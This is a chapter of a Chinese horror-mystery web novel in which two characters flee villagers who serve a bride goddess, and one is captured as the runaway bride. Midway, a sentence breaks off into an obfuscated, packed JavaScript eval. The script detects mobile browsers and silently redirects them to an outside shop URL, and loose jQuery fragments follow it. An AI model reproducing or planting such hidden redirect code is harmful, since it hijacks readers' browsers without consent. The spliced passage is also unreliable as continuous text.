“庆哥儿,是我。”
听到熟悉的声音,阿庆嘟囔了一声,赶忙把顾随之硬生生塞进了狭小的柜子里。
“嘶……吃什么长这么大块头……”阿庆死命压着柜门,最后实在压不动了,他小声道,“你从里头带着门把,别叫人发现咯。”
说罢,阿庆赶忙去开了门,一个面露愁容的男人走了进来,手里拎着个大包裹。
“家妻猝然长逝,特来订制花圈。”
阿庆闻言,拢起袖子做了个揖,低声道:“节哀。”
“新娘尸体上长出的花带来了没?”
“带来了。”男人递出手里的包裹,阿庆打开一看,里头装着一朵娇嫩欲滴的——纸花?
透过门缝偷看的顾随之猛地倒吸一口凉气,虽然那花儿颜色艳美,造型精湛,乍一眼和真花没什么区别,但顾随之眼力好,多看几眼后便确信这花是纸扎的,并非真花。
新娘的尸体上怎么会长出纸花来?他百思不得其解。
而阿庆和那男人似乎并没有觉得人身上长出纸花有哪里不妥,阿庆收下了纸花,对那男人说:“花圈两日内做好。”
“有劳了。”男人点了点头,似乎怕沾到什么晦气,头也不回地离开了店。
见男人走远,顾随之才敢从柜门里出来,他一出来便问:“为何新娘的尸体上会长出纸花?”
阿庆耸了耸肩:“哪有什么为什么,就是这样的呗。”
“你不觉得这样奇怪吗?”顾随之又道。
阿庆睨了他一眼:“在我看来你才奇怪咧!”
顾随之悻悻闭嘴,生怕自己再多说什么惹了阿庆不高兴,转头就把他扔出店门给那倒霉主家当新娘。
“你在店里乖乖呆着,我去把花送给婚娘娘。”阿庆嘱托完便关上店门走远了。
“哦。”顾随之应了一声,过了许久,他才觉得哪里不对劲。
阿庆刚刚说要去找谁?婚娘娘?
顾随之瞬间警觉起来。
他本身逃的就是婚娘娘,这阿庆怎么还转头要去找婚娘娘了?
难不成,他想把自己给卖了?
越想越不对劲,顾随之焦虑地啃起手指来。
一来,阿庆是本地人,自己是外来人,他根本没道理因一面之词就无条件帮助自己这个外人;二来,虽然阿庆说过店内不供奉婚娘娘,因此婚娘娘看不见听不着,但是他从未说过自己不信婚娘娘呀!
全村都供奉婚娘娘,全村人都知道婚娘娘不喜欢婚事被搞黄!
鸡皮疙瘩爬了满身,虽然阿庆也不见得就是坏人,但把身家性命押在陌生人身上也太过不妥。一想到自己还泄露了温偌水的样貌特征,顾随之恨不得给自己来两巴掌。
他不愿再在这里多呆,也不管吉利不吉利,随手扯了件店内的寿衣换了,但脸上的胭脂水粉不知如何去除,他瞥了眼窗外,一咬牙,翻了出去。
店外是户人家的马厩,顾随之跌落在地扬起尘埃,也顾不上什么颜面,抓起一把温热的马粪就朝自己的脸上糊去。马粪一股怪味,顾随之连连干呕,可到底是盖住了脸上夸张的胭脂,也掩去了他漂亮的五官。
这下应该不至于再被认错成女人了。顾随之忍住反胃的欲望,跌跌撞撞地从马厩里爬出去,漫无目的地四下寻找起温偌水的身影来。
.
“吱呀——”
阿庆一推开门,就见得散落一地的红嫁衣,又瞥了眼大开的窗,不由得“啧”了一声。
他随手拿了张纸叠了只纸鹤,然后咬开指尖,将血抹在了纸鹤的翅膀上,不一会,纸鹤就跟活过来似的,扑腾起翅膀飞了起来。
“告诉婚娘娘,他人跑了。”
阿庆走至窗边,将纸鹤放了出去。
.
“把这些晾到屋里去,手脚麻利些,要是敢耽搁了明日的大婚,仔细你的皮!”管事的女人将一箩筐的纸人推给温偌水,温偌水无言接过,快步向那供奉着婚娘娘的屋子走去。
掏出钥匙打开门,温偌水便发现了哪里不对劲,昨天还白花花一片的纸人此刻竟然都被着上油彩,描眉画眼,栩栩如生,要不是纸人扁平,一眼望去还真以为屋梁上吊着一排排妙龄少女!
一股恶寒从脚尖升腾,温偌水将箩筐里白色的纸人挂了上去,随后仔细观察起那尊新娘像来。
新娘像并无哪里奇怪,泥塑的身,粗布的衣,做工粗滥,精细度不及纸人的万分之一。
这样一尊像居然被人当宝贝似的供奉,也算荒诞可笑。
村里人到底在惧怕她什么,温偌水不能理解。
难不成这平平无奇的婚娘娘像会在夜里超级大变身?可她昨天夜里醒着,也没见到什么怪象。
或许,谜底要到大婚日才能揭晓。
不提这个还好,一提温偌水便有些头疼。她今天浑水摸鱼地在主家院落里一通搜查,四下没见到顾随之的影子,眼下明天就是大婚日了,若是顾随之真的被嫁出去那可怎么办?
她这边念叨着顾随之,顾随之那边也同样念叨着她。
兴许是脸上糊了马粪的缘故,顾随之一路畅通无阻。当然,就算有人心头有疑也不敢冒然上来质询,毕竟谁也不想惹一身骚。
顾随之就这样一路慌张寻找温偌水的身影,然后……和寻找顾随之的温偌水完美错开。
温偌水路过花圈店时,店门微启,透过缝隙可以看见散落在地还未来得及收拾起来的婚服。
花圈店里出现婚服,很好,温偌水是越来越搞不懂这个村子的奇葩习俗了。
她还没来得及多看一眼,门就从里被拉上了。
温偌水走了一路,听了半天路人的窃窃私语。无一不在讨论明日的大婚。
“明日就是大婚日了,据说逃跑的新娘还没找回来。”
“这可怎么办?要是明日还找不到,婚娘娘可是要生气的!”
“能怎么办?估计就只能再抓新的来了。”
“新的?哪有新的?”
忽然,喧杂的讨论声安静下来,温偌水停
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306643|134718||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下脚步,警惕地看下周围仿佛被按下暂停键的人。
诡异的暂停让温偌水产生一种不真实感,她甚至怀疑自己是否误入了某个被剧本框定好的剧场,下一秒就会有个导演模样的小胡子大喊:“你是哪个部门的?回到自己的位置上去!”
然而,没有导演小胡子,也没有露出马脚的拍摄器械,所有人都拧过头来看向温偌水,嘈杂的声音逐渐整齐化一——
“新的!她!新的!她!”
莫名的病毒在名为人的网络中疯狂传播,人脑不受控制地驱使着四肢扑腾,先前还在各做各事的人群纷纷放下手里的活计,疯了一样扑向温偌水!
温偌水暗道不妙,拔腿就跑。
属于人的肉.体碰撞在一起,发出难以言喻的怪味,无数只手在空中乱抓,企图抓住温偌水的半根毫毛。
“抓住她,抓住她!”
“只要抓到她,婚娘娘就不会生气了!”
原本敞亮的大街瞬间拥挤不堪,鸡鸭鹅乱飞,羽毛撒了一地,远处的狗看不清前面发生了什么,凑热闹地叫了个不停,墙上睡得好好的猫莫名其妙被人扒拉了下去,炸了毛亮出了爪牙,菜铺上的青菜被踩了个稀烂,鸡蛋炸裂,泥了一地,成为了助人摔跤的头号元凶。
人们挤在一起,像是和成一团的面团,偶有几颗粉粒散落在外,又很快被一只大手揉了进去。
温偌水觉得自己从未如此生动活泼过,上次这样激烈的运动回想起来还是在小学参加的形式主义的家庭单位制运动会——哦,谢天谢地,她居然在如此荒谬的情况下回想起了一丁点过去的、没什么屁用的事情。
她上蹿下蹦,左晃右摇,前爬后滚,看起来像是个在讨佛祖欢心的吗喽。要不是这里人实在是太多了,温偌水必定会用一双无坚不摧的铁拳为自己杀出一道血路。
就在怒气值即将攒满、温偌水即将黑化时,身后突然发出一阵欢呼,温偌水不明所以地向身后看去,只见原本正锲而不舍追逐的人群突然停了下来,向另一个方向涌去。
虽然不知道发生了什么,但温偌水总算松了口气,用头巾将头脸裹好,远远地跑了开去。
而在她身后,人群聚集的地方,顾随之刚从打翻的酒桶里爬起来,就被人们七手八脚地捉住,像只待宰的猪一样被人抬过了街头巷尾。
顾随之:“?”
他刚刚路走得好好的,突然被蜂拥而至的人推了个趔趄,整个人头朝下摔进了路边半人高的酒桶里,每每要挣扎着出来时都会被莫名其妙的人再度推进去。就这样反反复复好几次,快要溺死时木制的酒桶终于裂开,顾随之大声咳嗽着,用袖子擦拭脸上的酒水。
随后,他就发现身边原先还在推搡的人群停了下来,不约而同地看向他。
顾随之:看我做什么?看我脸上有马粑粑吗?
哦,等等——
顾随之看了眼袖子上的一片脏污,突然意识到自己刚刚好像把脸上的马粪擦去了。
“是逃跑的新娘!抓住她!”